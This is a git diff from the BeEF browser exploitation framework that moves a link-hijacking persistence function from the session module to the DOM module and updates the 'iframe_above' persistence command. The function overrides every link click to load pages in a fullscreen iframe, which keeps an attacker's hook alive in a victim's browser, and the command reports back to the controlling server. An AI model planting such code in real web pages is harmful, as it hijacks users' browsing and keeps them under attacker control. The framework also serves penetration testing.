diff --git a/core/main/client/beef.js b/core/main/client/beef.js index 916097331..41fab94a9 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -6,13 +6,11 @@ /*! * BeEF JS Library <%= @beef_version %> - * http://beef.googlecode.com/ + * Register the BeEF JS on the window object. */ $j = jQuery.noConflict(); -//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>'; - if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { var BeefJS = { diff --git a/core/main/client/dom.js b/core/main/client/dom.js index 20e086549..bcebc904d 100644 --- a/core/main/client/dom.js +++ b/core/main/client/dom.js @@ -108,6 +108,25 @@ beef.dom = { } return iframe; }, + + /** + * Load the link (href value) in an overlay foreground iFrame. + * The BeEF hook continues to run in background. + * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses + * Framebusting techniques, this will not work. + */ + persistentIframe: function(){ + $j('a').click(function(e) { + if ($j(this).attr('href') != '') + { + e.preventDefault(); + beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null); + $j(document).attr('title', $j(this).html()); + document.body.scroll = "no"; + document.documentElement.style.overflow = 'hidden'; + } + }); + }, /** * Create a form element with the specified parameters, appending it to the DOM if append == true diff --git a/core/main/client/session.js b/core/main/client/session.js index 7d32e250b..8dc4e6a8d 100644 --- a/core/main/client/session.js +++ b/core/main/client/session.js @@ -68,26 +68,7 @@ beef.session = { } return hook_session_id; - }, - - /** - * Overrides each link, and creates an iframe (loading the href) instead of following the link - */ - persistent: function() { - $j('a').click(function(e) { - if ($j(this).attr('href') != '') - { - e.preventDefault(); - beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null); - $j(document).attr('title', $j(this).html()); - document.body.scroll = "no"; - document.documentElement.style.overflow = 'hidden'; - } - }); } - - - }; beef.regCmp('beef.session'); diff --git a/modules/persistence/iframe_above/command.js b/modules/persistence/iframe_above/command.js index 7f1f5cea7..db8185d5f 100644 --- a/modules/persistence/iframe_above/command.js +++ b/modules/persistence/iframe_above/command.js @@ -5,6 +5,6 @@ // beef.execute(function() { - beef.session.persistent(); + beef.dom.persistentIframe(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.'); });